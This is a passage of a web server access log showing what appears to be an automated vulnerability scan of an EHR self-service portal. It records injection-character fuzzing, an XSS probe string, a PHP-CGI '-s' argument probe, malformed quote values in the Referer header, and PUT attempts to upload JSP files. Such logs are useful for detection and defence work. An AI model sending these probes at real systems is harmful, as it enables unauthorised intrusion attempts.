[05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggyRandomValue HTTP/1.1" 200 6698 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=HCL4ppsc4nbuggyRandomValue HTTP/1.1" 200 6698 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /idcard/ess/index.php?-s HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /idcard/ess/index.php?-s HTTP/1.1" 200 11457 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27%2F%40%3D*%5B%5D%28%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27%2F%40%3D*%5B%5D%28%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22%27%2F%40%3D*%5B%5D%28%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22%27%2F%40%3D*%5B%5D%28%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%22%27%2F%40%3D*%5B%5D%28%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "'" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "%27" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "PUT /ehr/ess/myfile31431.jsp/ HTTP/1.1" 405 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "PUT /ehr/ess/myfile31431.jsp/ HTTP/1.1" 405 245 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "PUT /ehr/ess/myfile21499.jsp/ HTTP/1.1" 405 245 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "PUT /ehr/ess/myfile21499.jsp/ HTTP/1.1" 405 245 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "%2527" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 """ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "PUT /ehr/ess/myfile12956.jsp/?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 405 245 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "PUT /ehr/ess/myfile12956.jsp/?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 405 245 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "%c0%a7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "PUT /ehr/ess/myfile24076.jsp/?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 405 245 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "PUT /ehr/ess/myfile24076.jsp/?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 405 245 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdWFXSSProbe%27%22%29%2F%3E&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdWFXSSProbe%27%22%29%2F%3E&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "PUT /ehr/ess/myfile268.jsp/?loginerror=Attack+error. HTTP/1.1" 405 243 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "PUT /ehr/ess/myfile268.jsp/?loginerror=Attack+error. HTTP/1.1" 405 243 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27%2F%40%3D*%5B%5D%28%29 HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%27%2F%40%3D*%5B%5D%28%29 HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:29 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 